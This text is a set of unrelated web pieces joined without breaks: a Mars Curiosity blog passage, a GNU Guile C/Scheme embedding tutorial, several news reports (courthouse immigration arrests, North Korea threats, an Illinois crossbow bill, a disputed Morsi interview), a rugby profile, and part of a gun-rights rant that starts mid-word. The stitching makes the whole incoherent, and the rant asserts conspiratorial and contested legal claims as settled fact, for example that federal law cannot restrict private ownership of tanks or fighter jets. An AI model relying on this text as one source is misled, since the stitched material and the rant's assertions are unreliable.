APXS. It's been dusted off by the blast of vapor that spreads outward from the ChemCam laser shot points. It makes me wonder if you could do analysis of rock colors and how they relate to composition by using ChemCam as a remote rock duster and taking multispectral Mastcam-100 images after ChemCam shots....
NASA / JPL / MSSS / Emily Lakdawalla Stephen site before and after ChemCam zapping, sols 610 and 627 The ChemCam instrument on Curiosity shoots a laser at a target to vaporize some of it, and "reads" the elemental makeup of the target from the wavelengths of light visible in the plasma. The vaporization causes an outward blast of air, which can very effectively dust off a Martian rock. The inset image was taken with Mastcam on sol 610 and shows the Windjana drill site and Stephen ChemCam target before any activity was performed there. The main image was taken with MAHLI on sol 627 and shows Stephen's surface blasted mostly clean except for the visible ChemCam shot points. The ChemCam instrument on Curiosity shoots a laser at a target to vaporize some of it, and "reads" the elemental makeup of the target from the wavelengths of light visible in the plasma. The vaporization causes an outward blast of air, which can very effectively dust off a Martian rock. The inset image was taken with Mastcam on sol 610 and shows the Windjana drill site and Stephen ChemCam target before any activity was performed there. The main image was taken with MAHLI on sol 627 and shows Stephen's surface blasted mostly clean except for the visible ChemCam shot points.
Last night, Curiosity left Windjana.
NASA / JPL / Emily Lakdawalla Windjana in the rear view, Curiosity sol 630 After spending three weeks performing drilling activities at Windjana, Curiosity departed the site on the edge of the Kimberley waypoint. After spending three weeks performing drilling activities at Windjana, Curiosity departed the site on the edge of the Kimberley waypoint.
I can't say whether this means they're done at the Kimberley or not. They could still drill one of the other two rock units in this location. On the other hand, they are under a lot of pressure to keep driving toward Mount Sharp. I suppose it depends upon what the team sees in the early CheMin and SAM analyses.
EDIT: JPL has now announced that "The rover team has decided not to drill any other rock target at this waypoint. In coming days, Curiosity will resume driving toward Mount Sharp, the layered mountain at the middle of Mars' Gale Crater. The rover is carrying with it some of the powdered sample material from Windjana that can be delivered for additional internal laboratory analysis during pauses in the drive."
Some of you may be wondering when we are going to get the science results from the Kimberley: what is in the stuff that they drilled out of Windjana? I counsel patience. There are two things that control when we hear about the science from the Curiosity mission: the timing of scientific meetings where they present the results to their peers, and the timing of public release of Curiosity data. In general, the Curiosity science team is forbidden from sharing and discussing scientific data from the mission until after the data are publicly available. Of course, JPEG versions of images are available instantly, but they're not science data; the science data from all instruments are released roughly 4 to 8 months after they're acquired, in batches three times a year. This has caused very awkward conversations between me and mission scientists at science meetings. Because I know what the rover has been doing (because I can see what it has been doing in the released raw images), and the scientists know that I know, they know they can discuss rover actions that are obvious in photos, but they can't discuss science, and there are lots of pauses in conversation and there is much staring off into space as they think about what they're allowed to say.
So far, data have been released through sol 449; Curiosity was at Cooperstown then. Drilling at Windjana happened on sol 621, and the first CheMin and SAM analyses happened on sols 623 and 624. SAM analysis will likely continue for weeks, as Curiosity continues chewing on samples while on the road. Here are the upcoming dates of meetings and data releases. As you can see, the next data release covers up to just before they got to Windjana. So the science team is not allowed to discuss the results from the drilling campaign at the Kimberley until December unless the mission leadership chooses to discuss it earlier. But the good thing about that is that the next data release will cover enough time after Windjana that it should cover all the SAM analyses that will be done on the newly drilled sample. So although we could hear some science results from Windjana earlier, we'll definitely hear about them at the American Geophysical Union meeting.
Emily Lakdawalla Senior Editor and Planetary Evangelist for The Planetary Society
Read more articles by Emily LakdawallaScripting with Guile
Extension language enhances C and Scheme
Guile, which launched in 1995, is an interpreter for the Scheme language, a simplified derivative of the Lisp language, first introduced by John McCarthy in 1958. But Guile makes Scheme embeddable, which makes the interpreter ideal for embedded scripting. Guile isn't just another extension language: it's the official extension language of the GNU project. You'll find Guile used for scripting in a number of open source applications—from gEDA CAD tools to the Scheme Constraints Window Manager (Scwm), which provides dynamic configurability through Scheme scripting (see the Related topics section for links). Guile follows a very successful history of application extension through scripting, from GNU Emacs, the GIMP, and Apache Web Server.
The key behind Guile is extensibility; see Figure 1. With Guile, you can interpret Scheme scripts, dynamically bind scheme scripts into compiled C programs, and even integrate compiled C functions into Scheme scripts. This valuable feature means that users can tailor or customize your applications to add their own value.
Figure 1. Scripting use models for Guile
One of the best examples of application customization is in the video gaming industry. Video games permit a tremendous amount of customization through scripting. Many game programs even use scripting in their core design to implement certain aspects (such as non-player character behavior) with scripts.
A simple example
Let's now look at a simple example of integrating Guile into a C language program. In this case, I use a C program that calls a Scheme script. Listing 1 and Listing 2 show the source for this first example.
Scripts in gaming Modern games commonly include scripting languages, from traditional interpreted languages like Python and Ruby to special-purpose scripting languages like UnrealScript (see the Related topics section for links). In game systems, these scripting languages can be used to implement the behaviors of non-player characters and even the behavior of objects that appear in the game. Game development is more convenient with scripts, because long compile cycles are unnecessary to introduce new behaviors. If you dig down into the subdirectories of your favorite PC-based game, more often than not, you'll find scripts.
Listing 1 presents the C application that invokes the Scheme script. The first thing to notice is the inclusion of the libguile.h header file, which makes available the necessary Guile symbols. Next, notice a new type defined: SCM. This type is an abstract C type that represents all Scheme objects contained within Guile. Here, I'm representing the Scheme function that I call later.
The first thing that needs to be done for any thread using Guile is to make a call to scm_init_guile. This function initializes the global state of Guile and must be called prior to any other Scheme function. Next, prior to calling a Scheme function, the file in which this function resides must be loaded. You do this by using the scm_c_primitive_load function. Note the naming here: the _c_ in the function indicates that it is passed a C variable (rather than a Scheme variable).
Next, I use scm_c_lookup to find and return the variable bound by the symbol (the Scheme function in the model), which is then dereferenced with scm_variable_ref and stored in the Scheme variable func. Finally, I call the Scheme function using scm_call_0. This Guile function calls a previously defined Scheme function with zero arguments.
Listing 1. A C program that invokes a Scheme script
#include <stdio.h> #include <libguile.h> int main( int argc, char **arg ) { SCM func; scm_init_guile(); scm_c_primitive_load( "script.scm" ); func = scm_variable_ref( scm_c_lookup( "simple-script" ) ); scm_call_0( func ); return 0; }
Listing 2 provides the Scheme function that is invoked from within the C program. This function uses the display procedure to print a string to the screen. This function is followed by a call to the procedure newline, which outputs a carriage return.
Listing 2. A Scheme script that is called from C (script.scm)
(define simple-script (lambda () (display "script called") (newline)))
What's interesting here is that the script is not statically bound to the C program; it is dynamically bound. The Scheme script can be changed, and when the previously compiled C program is executed, it will execute the new behavior implemented in the script. That's the power of embedded scripting: you take the speed of compiled applications and provide the extensible power of dynamic scripting.
Now that you have a simple example under your belt, let's dig in a little further to explore some of the other elements of Scheme scripting within the C language.
A short introduction to Scheme
As Scheme may seem a bit foreign to some, let's look at a few examples that illustrate the power of the language. These examples illustrate variables, conditionals, and loops in addition to some of the key features of Scheme. A full treatment of Scheme is outside the scope of this article, but you can find links to references in the Related topics section.
In these examples, I use the Guile interpreter, which allows me to work with Scheme in real time, providing Scheme code and seeing the results immediately.
Variables
Scheme is a dynamically typed language; therefore, the type of a variable is not generally known until run time. Scheme variables are then simply containers whose type can be defined later.
Variables are created using the define primitive, then changed with the set! primitive. Here, I do just that:
guile> (define my-var 3) guile> (begin (display my-var) (newline)) guile> (set! my-var (* my-var my-var))
Procedures
Not surprisingly, it's also possible to create procedures in Scheme—also with the define primitive. Procedures can be anonymous (lambda procedures) or named. In the case of named procedures, they're stored in a variable, as shown here:
(define (square val) (* val val))
This form differs from the traditional Lisp syntax, if you happen to be familiar with that, but it's somewhat simpler to read. I can then use this new procedure just like any other primitive, as shown here:
guile> (square 5) 25
Conditionals
Scheme contains a few ways to do conditionals. The most basic is the simple if condition. It defines a test conditional, a true expression, and an optional false expression. In the example below, you can see the list processing perspective of Scheme. The list begins with if and ends with (display "less"). Recall that Scheme is a derivative of Lisp and therefore is built of lists. Scheme represents both code and data as lists, which allows the language to blur the line (code as data and data as code).
guile> (define my-var 3) guile> (if (> my-var 20) (display "more") (display "less")) less
Loops
Scheme implements loops through recursion, which forces a particular mindset when implementing a loop. However, it's a natural way to iterate. The following example illustrates a Scheme script that iterates from 0 to 9, then prints done. This example uses what in Scheme is called tail recursion. Note at the end of the loop that I recursively call the same function with an argument that is one greater than the previous, implementing the iteration of the loop. In traditional languages, this recursion eats away at the stack to maintain a history of the calls; in Scheme, it's different. The last call (the tail) simply invokes the function without any procedure call or stack maintenance overhead.
(let countup ((i 0)) (if (= i 10) (begin (display "done") (newline)) (begin (display i) (newline) (countup (+ i 1)))))
Another interesting way to loop in Scheme is through the map procedure. This concept simply applies (or maps) a procedure to a list, as shown in the following example. This approach is both readable and simple.
guile> (define my-list '(1 2 3 4 5)) guile> (define (square val) (* val val)) guile> (map square my-list) (1 4 9 16 25)
Extending C programs with Scheme scripts
As you saw in Listing 1, extending C programs with Scheme is relatively painless. Now, here's another example that explores some of the other application programming interfaces (APIs) available for bridging C to Scheme. In most applications, you need to not only make calls to Scheme but also pass argument to Scheme functions, receive return values, and share variables between the two environments. Guile provides a rich set of functions to enable this functionality.
Guile attempts to straddle the line between the two environments and extend to C the power of Scheme. In this regard, you'll find dynamic types, continuations, garbage collection, and other Scheme concepts extended to C through the Guile API.
One example of extending Scheme concepts into C is the ability to dynamically create new Scheme variables from the C environment. The C function for creating Scheme variables is scm_c_define. Recall that _c_ indicates that you're providing a C type as the argument. If you already had the Scheme variable (as provided by the scm_c_lookup function), you could instead use scm_define. In addition to creating Scheme variables in C, you can also dereference Scheme variables and convert values between the two environments. I explore examples of these in Listing 3.
Listing 3 and Listing 4 present two examples of interactions between C and Scheme. The first example illustrates calling a Scheme function from C, passing in an argument, and capturing the return value. The second example creates a Scheme variable to pass in the argument. Listing 4 presents the Scheme functions, which implement the same behavior, but the first with an argument and the second with a static variable.
scm_call limitations Guile provides five variants of scm_call. A Scheme function can be called with zero arguments ( scm_call_0 ) or as many as four arguments ( scm_call_4 ), restricting the number of Scheme variables passed through Guile to four. Additionally, variable argument functions are not supported. If more than four arguments or a variable number of arguments need to be passed, a Scheme list object can be constructed with the desired number of arguments.
In the first example in Listing 3, I simply use the scm_call_1 function to call the Scheme function with one argument. Note that here you must pass in Scheme values to the function: The scm_int2num function is used to convert a C integer into a Scheme numerical data type. You use the opposite scm_num2int to convert the Scheme variable ret_val into a C integer value.
The second example in Listing 3 begins by creating a new Scheme variable with scm_c_define, identified by a C string variable ( sc_arg ). This variable is auto-initialized using the type conversion function scm_int2num. Now that the Scheme variable has been created, you can simply call the Scheme function square2 (this time without an argument) and follow the same process to grab and dereference the return value.
Listing 3. Exploring Scheme functions and variables with C
#include <stdio.h> #include <libguile.h> int main( int argc, char *argv[] ) { SCM func; SCM ret_val; int sqr_result; scm_init_guile(); /* Calling the square script with a passed argument */ scm_c_primitive_load( "script.scm" ); func = scm_variable_ref( scm_c_lookup( "square" ) ); ret_val = scm_call_1( func, scm_int2num(7) ); sqr_result = scm_num2int( ret_val, 0, NULL ); printf( "result of square is %d
", sqr_result ); /* Calling the square2 script using a Scheme variable */ scm_c_define( "sc_arg", scm_int2num(9) ); func = scm_variable_ref( scm_c_lookup( "square2" ) ); ret_val = scm_call_0( func ); sqr_result = scm_num2int( ret_val, 0, NULL ); printf( "result of square2 is %d
", sqr_result ); return 0; }
Listing 4 presents the two Scheme procedures that are used by the C program shown in Listing 3. The first procedure, square, is a traditional Scheme function that accepts a single argument and returns a result. The second procedure, square2, accepts no arguments, but instead operates on a Scheme variable ( sc_arg ). As with the previous procedure, this variable also returns the result.
Listing 4. Scheme scripts that are called from Listing 3 (script.scm)
(define square (lambda (x) (* x x))) (define square2 (lambda () (* sc_arg sc_arg)))
Extending Scheme scripts with C functions
In this final example, I explore the process of calling C functions from Scheme scripts. I start with the Scheme-callable function in Listing 5. The first thing you'll notice is that although this is a C function, it receives a Scheme object and returns a Scheme object in response ( SCM type). I begin by creating a C variable that I use to grab the SCM argument using the scm_num2int function (converting the Scheme numerical type to a C int ). With this, I square the argument and return it through another call to scm_from_int.
The remainder of the program in Listing 5 sets up the environment to boot into Scheme. After initializing the Guile environment, I export the C function to Scheme with a call to scm_c_define_gsubr, which takes as arguments the name of the function in Scheme, the number of arguments (required, optional, rest), and the actual C function to be exported. The rest you've seen before. I load the Scheme script, get a reference to the particular Scheme function, and call it with no arguments.
Listing 5. C program for setting up the environment for Scheme
#include <stdio.h> #include <libguile.h> SCM c_square( SCM arg) { int c_arg = scm_num2int( arg, 0, NULL ); return scm_from_int( c_arg * c_arg ); } int main( int argc, char *argv[] ) { SCM func; scm_init_guile(); scm_c_define_gsubr( "c_square", 1, 0, 0, c_square ); scm_c_primitive_load( "script.scm" ); func = scm_variable_ref( scm_c_lookup("main-script") ); scm_call_0( func ); return 0; }
Listing 6 provides the Scheme script. This script displays the response to the call to c_square, which is the function exported in the C program in Listing 5.
Listing 6. Scheme script that calls the C function (script.scm)
(define main-script (lambda () (begin (display (c_square 8)) (newline))))
A trivial example, but it illustrates the ease with which you can share code and variables between the two language environments.
Epilogue
The days of building and delivering static software and products are over. Today, users expect their products to be dynamic and easily customizable. Although this evolution comes with new complexity, it ultimately allows users to show us the way to create new value in our applications. Hopefully, this article helps you glimpse the power of Guile. Scheme may be one of the oldest programming languages still in use, but it also remains one of the most powerful. Guile has succeeded in making it even more powerful and useful.
Downloadable resources
Related topicsFile - In this March 23, 2015, file photo, California Supreme Court Chief Justice Tani G. Cantil-Sakauye delivers her annual State of the Judiciary address before a joint session of the Legislature at the Capitol in Sacramento, Calif. The chief justice of the California Supreme Court has asked federal agents to stop making immigration arrests in courthouses to protect residents' access to justice. Cantil-Sakauye wrote to top federal officials Thursday, March 16, 2017, that she's concerned that recent reports of immigration agents going to the courts to track down immigrants for arrest will affect the public's trust in the court system. (AP Photo/Rich Pedroncelli, File) The Associated Press
By AMY TAXIN, Associated Press
LOS ANGELES (AP) — The chief justice of the California Supreme Court asked federal immigration agents Thursday to stop making arrests at courthouses, saying "stalking undocumented immigrants" at the facilities thwarts people's access to justice.
Chief Justice Tani G. Cantil-Sakauye wrote in a letter to top federal officials that she is concerned about recent reports of immigration agents going to the courts to track down immigrants for arrest, saying the practice will affect the public's confidence in the court system.
"Courthouses should not be used as bait in the necessary enforcement of our country's immigration laws," she wrote in the letter to Attorney General Jeff Sessions and Homeland Security Secretary John Kelly, adding that crime and domestic violence victims and witnesses all go to the courts seeking justice and due process of the law.
The letter comes amid a series of reports of arrests at courthouses in California, Oregon and Texas as federal immigration agents have been called on to step up deportations under President Donald Trump.
Immigration and Customs Enforcement weighs many factors when deciding where to make an arrest, including whether authorities have a home or work address for the person they are seeking and what is safest for officers and community, said Virginia Kice, an agency spokeswoman.
"While ICE does arrest targets at courthouses, generally it's only after investigating officers have exhausted other options," she said in a statement.
A Justice Department spokesman declined to comment on the letter.
Last month, immigration agents in Texas arrested a woman at an El Paso courthouse while she was obtaining a protection order against an alleged abuser. The arrest sparked an outcry from victim's advocates, saying it would dissuade others from coming forward to report abuse for fear of being deported.
ICE said it also has made arrests in recent months at courthouses in Oregon and Southern California.
Many of those taken into custody at courthouses have criminal convictions but are no longer turned over to federal agents by local law enforcement as they were some years ago, Kice said.
Courthouses can be seen as a relatively safe place for federal immigration agents to make arrests because people pass through metal detectors to enter. But many advocates for immigrants and victims decry the practice, saying immigrants will be afraid to report crime or show up for hearings.
"Enforcement policies that include stalking courthouses and arresting undocumented immigrants, the vast majority of whom pose no risk to public safety, are neither safe nor fair," Cantil-Sakauye wrote. "They not only compromise our core value of fairness but they undermine the judiciary's ability to provide equal access to justice."
The practice also can create additional legal problems. Immigration attorney Philippe Martinet said he was recently in court in Arizona when a man identified himself as an immigration officer and arrested his client.
Because of the immigration arrest, the client missed his trial date on assault charges and the judge issued a warrant for him.
Martinet said that whatever new policies ICE is implementing, they need to be thought out thoroughly because they can derail criminal trials.
"You need to implement it in a way that doesn't throw a wrench in the system," he said.
The letter from the California chief justice was welcomed by the American Civil Liberties Union of Southern California, which several years ago raised concerns about deportation agents making arrests at courthouses in Kern County. At that time, ICE said it would refrain from making such arrests, except in "exigent circumstances."
___
Associated Press writer Astrid Galvan in Phoenix contributed to this report.President Donald Trump on Friday issued fresh threats of swift and forceful retaliation against nuclear North Korea, declaring the U.S. military "locked and loaded" and warning that the communist country's leader "will regret it fast" if he takes any action against U.S. territories or allies.
The warnings came in a cascade of unscripted statements throughout the day, each ratcheting up a rhetorical standoff between the two nuclear nations. The president appeared to draw another red line that would trigger a U.S. attack against North Korea and "big, big trouble" for its leader, Kim Jong-un. Trump's comments, however, did not appear to be backed by significant military mobilization on either side of the Pacific, and an important, quiet diplomatic channel remained open.
"If he utters one threat in the form of an overt threat — which by the way he has been uttering for years and his family has been uttering for years — or he does anything with respect to Guam or anyplace else that's an American territory or an American ally, he will truly regret it and he will regret it fast," Trump told reporters at his New Jersey golf resort.
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Asked if the U.S. was going to war, he said cryptically, "I think you know the answer to that."
The compounding threats came in a week in which longstanding tensions between the countries risked abruptly boiling over. New United Nations sanctions condemning the North's rapidly developing nuclear program drew fresh ire and threats from Pyongyang. Trump responded by vowing to rain down "fire and fury" if challenged. The North then threatened to lob missiles near Guam, a tiny U.S. territory some 2,000 miles from Pyongyang.
Tough talk aside, talks between senior U.S. and North Korean diplomats continue through a back channel previously used to negotiate the return of Americans held in North Korea. The talks have expanded to address the deterioration of the relationship. They haven't quelled tensions, but could be a foundation for a more diplomacy, according to U.S. officials and others briefed on the process. They weren't authorized to discuss the confidential exchanges and spoke on condition of anonymity.
Trump on Friday sought to project military strength, only dialing back slightly throughout the day.
He began with a morning tweet: "Military solutions are now fully in place, locked and loaded, should North Korea act unwisely. Hopefully Kim Jong-un will find another path!"
He later retweeted a posting from U.S. Pacific Command that showed B-1B Lancer bomber planes on Guam that "stand ready to fulfil USFK's #FightTonight mission if called upon to do so." Such declarations, however, don't indicate a new, more aggressive posture. "Fight tonight" has long been the motto of U.S. forces in South Korea to show they're always ready for combat on the Korean Peninsula.
Trump declined to explain the boast of military readiness when asked by reporters later in the day at an event highlighting workforce development programs. He also brushed away calls for caution from world leaders, including Germany's Angela Merkel.
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"I don't see a military solution and I don't think it's called for," Merkel said Friday, declining to say whether Germany would stand with the U.S. in a military conflict with North Korea. She called on the UN Security Council to continue to address the crisis.
"I think escalating the rhetoric is the wrong answer," Merkel added.
"Let her speak for Germany," Trump said, when asked about the comment. "Perhaps she is referring to Germany. She's certainly not referring to the United States, that I can tell you."
By evening, after a briefing with top advisers and standing next to his secretary of state and UN ambassador, Trump suggested diplomacy could yet prevail.
"Hopefully it'll all work out," Trump said. "Nobody loves a peaceful solution better than President Trump."
The president spoke later Friday with Guam Gov. Eddie Calvo, promising: "You are safe. We are with you a thousand per cent."
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Faced with perhaps his biggest international crisis as president, Trump has responded with an abundance of swagger and a lot of words. He's held a series of freewheeling press conferences with reporters, answering complex and delicate questions apparently off the cuff. On Friday, he veered from North Korea to comments on politics. He even suggested he would consider military action against Venezuela, puzzling his military planners.
Trump announced he planned to hold another press conference in Washington Monday.
Behind the threats, U.S. officials insist there has been no new significant movement of troops, ships, aircraft or other assets to the region other than for long scheduled military exercises with South Korea.
American and South Korean officials said the exercises would happen as planned this month. North Korea claims they're a rehearsal for war.
As it is, the U.S. has a robust military presence in the region, including six B-1 bombers in Guam and Air Force fighter jet units in South Korea, plus other assets across the Pacific Ocean and in the skies above. Military options range from nothing to a full-on conventional assault by air, sea and ground forces. Any order by the president could be executed quickly.
The U.S.-South Korea exercises are an annual event, but they come as Pyongyang says it's readying a plan to fire off four medium-range missiles toward Guam, a U.S. territory and major military hub. The plan would be sent to Kim for approval just before or as the U.S.-South Korea drills begin.
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Called Ulchi-Freedom Guardian, the exercises are expected to run Aug. 21-31 and involve tens of thousands of American and South Korean troops on the ground and in the sea and air. Washington and Seoul say the exercises are defensive in nature and crucial to deterring North Korean aggression.Crossbow bill passes House, Senate
Barring a veto from Gov. Quinn, which is not expected, crossbows will be legal for all hunters to use during the second half of Illinois’ archery deer season.
The final version of House Bill 4819 is a compromise of sorts, since earliest versions had stipulated crossbow use during the entire bow season.
The amended version that passed would allow everyone to use crossbows during the archery season beginning the Monday following the 2nd gun season through the end of the archery season. Instead of creating a separate defined season, this new language allows crossbows to be used concurrently during the last portion of the archery season.
Senate sponsor Sen. Gary Forby (D-Benton) authored the ammendment that would allow any hunter with an archery deer permit to use a crossbow from, “the second Monday following the Thanksgiving holiday through the last day of the archery deer hunting season (both inclusive) set annually by the Director.”
Under this new ammendment, crossbow hunters will not need to purchase a special permit during that part of the season, as some had predicted when word of a compromise first surfaced.
“We think it’s best to serve the public to just leave it as a bow choice,” said John Buhnerkempe, head of the Illinois wildlife division. “We’ve got enough complexity to deal with considering everything else involved with this.”
Reaching this point in the discussion has been an interesting lesson in the political process. After initially sailing through the Illinois House 109-0, House Bill 4819 moved on to the Senate, where Forby stepped up as sponsor.
As word of the bill surfaced, bowhunting groups organized vocal opposition. After some heated testimony before the Senate Agriculture and Conservation Committee, there was a brief period where it appeared bowhunting groups had scuttled the bill.
Then the bill gained a new life in committee, and Forby made it clear he was interested in reaching a compromise. Given that the Department of Natural Resources had already backed the bill, this created an interesting situation.
According to Kevin Chapman, the deal offered to bowhunting groups was to choose one of three options: 1. crossbows for the first half of bow season, 2. crossbows for the second half of bow season, 3. crossbows for all of bow season.
In the minds of bowhunting groups, settling on the latter half of the season seemed to be the obvious best choice of the three.
Meanwhile, DNR is scrambling to keep up with the legislation, since the bill requires changes to the wildlife code.
But Buhnerkempe said he did not think allowing crossbows in the last half of archery season would cause much of an increase in the overall deer harvest. For instance, he did not envision including crossbows as reason to consider dropping the late-winter antlerless-only seasons.
“If you look at the numbers, you’ll see hunting in general drops off after the first gun season,” Buhnerkempe said. “You’ll have some (crossbow hunters) but it won’t lead to drastic changes in hunter numbers. At least we don’t expect it will.”
And the current scope of legislation deals only with crossbow use during deer season. In other words, there is no language yet dealing with spring turkey hunting or any other season.
CommentsCAIRO — Egypt is to sue an Iranian news agency for having allegedly fabricated an interview with president-elect Mohammed Morsi, the official MENA news agency reported on Wednesday.
It quoted the Islamist leader’s spokesman Yassir Ali as saying Fars news agency made up the widely quoted interview in which Morsi said he would improve ties with Iran and revise Egypt’s 1979 peace treaty with Israel.
“Legal action will be taken against the Iranian Fars news agency which fabricated an interview,” Ali said.
Morsi is the first Islamist president in Egypt’s history and its first elected leader since an uprising ousted president Hosni Mubarak in February 2011.
In the interview, Morsi, said he wants to “reconsider” the peace deal with Israel and build ties with Iran to “create a strategic balance” in the Middle East.
The stated goals, if true, are certain to alarm Israel and its ally the United States as they adapt to the new direction Egypt will chart with Morsi at the helm.
[np-related]
They could also boost Iran’s influence in the Middle East at a time of heightened tensions between Tehran and the West.
“We will reconsider the Camp David Accord” that, in 1979, forged a peace between Egypt and Israel that has held for more than three decades, Morsi was quoted as telling a Fars reporter in Cairo on Sunday, just before his election triumph was announced.
He said the issue of Palestinian refugees returning to homes their families abandoned in the 1948 Arab-Israeli war and the 1967 Six-Day War “is very important.”
Morsi added though that “all these issues will be carried out through cabinet and governmental bodies because I will not take any decision on my own.”
Morsi also said he was ready to improve ties with Iran. The Islamic republic broke off diplomatic relations with Egypt in 1980, a year after Cairo signed the peace deal with the Jewish state.
“Part of my agenda is the development of ties between Iran and Egypt that will create a strategic balance in the region,” Morsi was quoted as saying.
Although Morsi resigned from Egypt’s Muslim Brotherhood to take the top job, Israel is wary of his election, fearing his Islamist record could jeopardise the chilly peace it has long enjoyed with its huge neighbour.
Iran’s foreign ministry on Sunday welcomed Morsi’s triumph. Its message made no mention, however, of Iran and Egypt resuming diplomatic ties.
Iran’s clerical leadership contends that the Arab Spring that toppled veteran Egyptian strongman Hosni Mubarak and other longtime U.S. allies in the Arab world last year was inspired by its own 1979 Islamic revolution.
Although Iran’s predominant faith is Shi’ite Islam and the Muslim Brotherhood adheres to the Sunni branch of Islam, Tehran has been reaching out to the organization in Egypt in recent months.
Iran’s armed forces chief of staff, General Hassan Firouzabadi, on Monday was quoted by IRNA as echoing the Muslim Brotherhood’s rejection of moves by Egypt’s military to dissolve the Islamist-led parliament and to give itself a greater say over government policy and the constitution.
“The actions of the military council in Egypt, which considers itself to be selected by Mubarak, lack legal validity and political legitimacy,” Firouzabadi said.Mercer made Premiership debut for Bath this season
Was part of U20 World Rugby championship winning squad
Find out more about England's U20s Six Nations squad
“I like the look of the Bath back-row forward Zach Mercer, he’s got something about him and is certainly a guy that we’ll keep an eye on.” – England head coach Eddie Jones 23/01/2017.
Just five months ago Zach Mercer was lining up for Hartpury College against Blackheath in National League One. Ten Premiership appearances later he finds himself firmly on Eddie Jones’ radar as he prepares for England’s Under 20 2017 Six Nations campaign.
'I wasn't nervous, I was excited'
Mercer, who was part of England’s World Rugby U20 Championship winning squad in the summer, has had quite a rapid rise this season.
He was handed a Premiership debut at the Rec against Newcastle on 10 September and his performances at the base of Bath’s scrum have not gone unnoticed.
Several more senior performances for the west-country side have followed but Mercer is taking it all in his stride.
“I wasn’t nervous, I was excited,” said Mercer, while also recognising the step up in “intensity” and “physicality” of Premiership rugby. “I loved it.
“The week before my debut I played for Hartpury and Bath were travelling away to Northampton.
“Afterwards I saw that Toby Faletau and David Denton went off injured so it went through my mind I might play. I just trained hard that week like I normally do.
“On the Tuesday, Todd came up to me and said ‘are you ready?’ I replied ‘what for?’ and he said ‘you’re making your Premiership debut on Saturday’. I was exhilarated, so happy to be given the opportunity to play at the Rec. To play in the Premiership was always a childhood dream and I’ve now managed to do it.”
'Before my debut Faletau sent me a good-luck text'
For Mercer, he is at the ideal club for an up-and-coming back-row forward. Surrounded by international talent he can also call one of the best forwards in world rugby, Toby Faletau, for advice as he looks to learn his trade.
As he recalls, Faletau sent him a message ahead of the match against Newcastle.
“Before my debut Toby sent me a text saying, ‘go out and do what you do and enjoy it’, so that’s what I did.
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IZING OR DISCIPLINING the MILITIA. NOTHING. So where is the “authority to limit the peoples’ rights? NOWHERE. SO THEY DON’T HAVE THAT RIGHT. END of analysis. No 2nd amendment interpretation needed. Get it?
That is the analysis that is SUPPOSED to be used regarding their right to take away THE PEOPLE’S guns and ammo. They have to find a provision that ALLOWS them to.
Congress is in charge of arming the militia. So? The feds regulations never have anything even OSTENSIBLY to do with ARMING the militia. Congress is well within its right to “arm” THE MILITIA but they have no right to infringe on the PEOPLE’S RIGHTS to ARM THEMSELVES with whatever they want.
All of these discussions about self protection and criminals and hunting and “dangerous to law enforcement” are nothing but distractions CREATED by the SUPREME COURT’S opinions that gave power to the feds that they never had. The way our system of government is SUPPOSED TO WORK is that the feds FIRST have to be able to point to a provision that empowers the feds to ACT in the manner they propose. It is not MY OBLIGATION to show WHAT THEY CAN NOT DO. They have to show where they get the power to DO IT.
And that is how they have reset the game.
THE SECOND AMENDMENT, LIKE ALL OF THE AMENDMENTS, IS JUST A RE-CLARIFICATION OF CERTAIN THINGS THAT THE FEDERAL GOVERNMENT WAS NEVER GIVEN ANY AUTHORITY TO LEGISLATE.
RE-read what I just wrote. Do you see how fundamentally DIFFERENT that is from STARTING with the 2nd amendment or any other amendment? It is CRITICAL to understand the distinction.
Still not convinced? Let me show you something else that PROVES that MY ANALYSIS is the CORRECT analysis.
Remember back to your indoctrination class on American History during your mandatory brainwashing? Do you remember what argument was made by the “founding fathers” who were against “adding the bill of rights”?
Come on, you can remember can’t you, or has the fluoride fried your brain? lol The opponents argued that THE BILL OF RIGHTS WERE REDUNDANT!! There was NO NEED to reassert what the feds CAN’T do BECAUSE the feds were only authorized to do the limited things that were specifically set out IN the constitution? Do you SEE?
The great con the feds have collaborated to create over time is that the analysis should somehow START by looking at what the Supreme court, which is just the federal government ITSELF, has dreamed up on a topic instead of looking at the Constitution. As soon as you do that, we the people are screwed. The government has set the parameters and created a FALSE PARADIGM from which to do the analysis. Game theory my friend.
Once you see the distinction I just made for you, then you see the absurdity of all the arguments that the anti-gun people and the feds make. Because they all focus on the wording of the Supreme court’s opinion’s about the 2nd amendment, which is a straw man. Because the S.Ct. can’t point to anywhere in the constitution that gives the Feds ANY right to pass legislation about the PEOPLES’ arms to BEGIN WITH.
The feds can’t stop THE PEOPLE from having tanks or RPG’s or fighter jets or ANYTHING ELSE because they were not given the authority to regulate those items. That AUTHORITY was left to the states. In fact that is what the 9th and 10th AMENDMENTS were intended to EMPHASIZE.
STILL don’t believe me? lol. Okay I will give you this.
Here is a Supreme court case on “gun control” saying the feds can’t DO IT. U.S. v. Cruikshank, 92 U.S. 542 (1875). It is dead on point that the feds can’t limit the peoples’ arms. (if you want more details of this case go to here where I wrote on that.)
The right there specified is that of “bearing arms for a lawful purpose.” This is not a right granted by the Constitution. Neither is it in any manner dependent upon that instrument for its existence. The second amendment declares that it shall not be infringed; but this, as has been seen, means no more than that it shall not be infringed by Congress. This is one of the amendments that has no other effect than to restrict the powers of the national government, leaving the people to look for their protection against any violation by their fellow-citizens of the rights it recognizes, to what is called…”internal police.” — U.S. v. Cruikshank, 92 U.S. 542 (1875)
Look at that language. Needless to say this case is not often cited anymore. lol. Do you see how the court said the same basic thing I just told you. The regulation of the PEOPLES’ arms was left to the state, i.e. the internal police, not the FEDS.
If the people want to GIVE THE FEDS the right to “infringe” the peoples’ right to bear arms they are welcome to do that. But it was clear, EVEN TO THE SUPREME COURT, that they didn’t give that power to the feds IN THE CONSTITUTION.
IT wasn’t until the 20th Century that the court started “finding” all of these exceptions to the PEOPLES’ rights to keep and bear arms. But no amount of legal mumbo jumbo in S.Ct. opinions can EVER get around what I JUST SHOWED YOU. Really, the more they invent on the subject the more they simply damn themselves as a corrupt institution.
Finally, the very idea that a group of people, living in the 18th century in a predominantly agrarian world, who just fought a revolution would then create a centralized government so powerful that it MIGHT be able to take their right away to hunt or protect themselves against criminals, is absurd. That is NOT what the 2nd amendment is about.
My friend it isn’t complicated. They want you to believe you have to be some kind of “expert” in the constitution and all of the contradictory Non-linear propaganda that has poured out of the supreme court and appellate courts in order to be able to “understand the constitutional argument”. You don’t. Just think for yourself and look at the facts.
The truth is often too radical for most people after a lifetime of “captivity”. Like a house cat, they just aren’t equipped to live in the world outside the fantasy of “freedom” that the state has created for them. lol.
